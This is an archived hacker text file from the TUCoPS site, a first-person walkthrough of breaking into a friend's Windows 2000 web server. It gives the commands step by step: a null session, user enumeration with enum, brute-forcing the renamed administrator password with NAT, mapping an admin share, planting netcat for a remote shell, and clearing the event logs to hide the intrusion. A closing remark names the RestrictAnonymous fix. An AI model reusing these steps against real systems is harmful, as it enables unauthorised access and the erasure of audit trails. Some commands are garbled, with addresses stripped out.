Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Windows :: 0wned3s.txt

0wned in 3 easy steps, or, how easy it REALLY is to break into an unsecured NT system

Shows how easy it REALLY is to break into an unsecured NT system....

A friend of mine asked me to check the security on his newly installed
windows 2000 server since he was running a website off it.  All he
would provide me was the IP address.  Of course since I knew he was on
DSL I didn't need to do much recon and was able to focus in on his
system directly.

I figured since this was going to be an 'easy' task, I would eschew
any GUI and do this all from command line utilities (they're more fun
anyway J) so my first step was to attempt to establish a null session
using the command

Net use \\\IPC$ "" /user: ""

Of course, I knew he was a Novell guy and probably hadn't studied NT
security much so it was no surprise to get the response:

The command completed successfully

Ok, now I that I had a Null session to the remote system I used a
program called 'enum' to take a look at the users, shares, and
policies of the system. Using the command

Enum -U -M -S -P -G -L -d >enum.txt

Which provided me with the following output:

setting up session... success.
password policy:
  min length: none
  min age: none
  max age: 42 days
  lockout threshold: none
  lockout duration: 30 mins
  lockout reset: 30 mins
opening lsa policy... success.
server role: 3 [primary (unknown)]
  netbios: SERVER
  domain: WEB
  paged pool limit: 33554432
  non paged pool limit: 1048576
  min work set size: 65536
  max work set size: 251658240
  pagefile limit: 0
  time limit: 0
trusted domains:
netlogon done by a PDC server
getting user list (pass 1, index 0)... success, got 3.
  Administrator   attributes
  Guest (Built-in account for guest access to the computer/domain)
  attributes: disabled no_passwd 
  nobody (Built-in account for administering the computer/domain)
enumerating shares (pass 1)... got 3 shares, 0 left:
  fs: C$ ()
  fs: D$ ()
  fs: E$ ()
  ipc: IPC$ (Remote IPC)
getting machine list (pass 1, index 0)... success, got 0.
Group: Administrators
Group: Backup Operators
Group: Guests
Group: Power Users
Group: Replicator
Group: Users
NT AUTHORITY\Authenticated Users
cleaning up... success.

As you can see, that's more than enough info to start with.  Looking
down the list, it is obvious that the original administrator account
had been renamed to 'nobody' and a fake 'administrator' account had
been set up, most likely with shit permissions.

Needless to say, it was to be the 'nobody' account that I would hit
next with the command:

Nat -o output.txt -u nobody.txt -p passlist.txt 

Which revealed the password 'sadie' after about 30 minutes.  From
there, it was simple to map a drive with

Net use y: \\\d$ /user:nobody

And then enter the password (sadie) when prompted.  From there I was
able to copy netcat into the /scripts directory where I could activate
it at will by typing the command:

into my browser.  From there I only had to drop to a DOS prompt and

TELNET>open 5000

To get a command prompt on the remote system.

Needless to say, after I kicked my friends ass, I had him set
RestrictAnonymous=1 which stops both the null connection AND enum from
working.  However, there are still a LOT of systems out there that
have RestrictAnonymous=0 (which is the default) and are vulnerable.

Of course I didn't bother to clean the logs since I was there with
permission and I wanted him to see the entries, but had I been there
maliciously, I would have uploaded ClearEventLog and run the command 

ClearEL all

which would have cleared all 3 eventlogs and effectively masked my
presence :)

Public Enemy #7
"God told me to skin you alive"

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH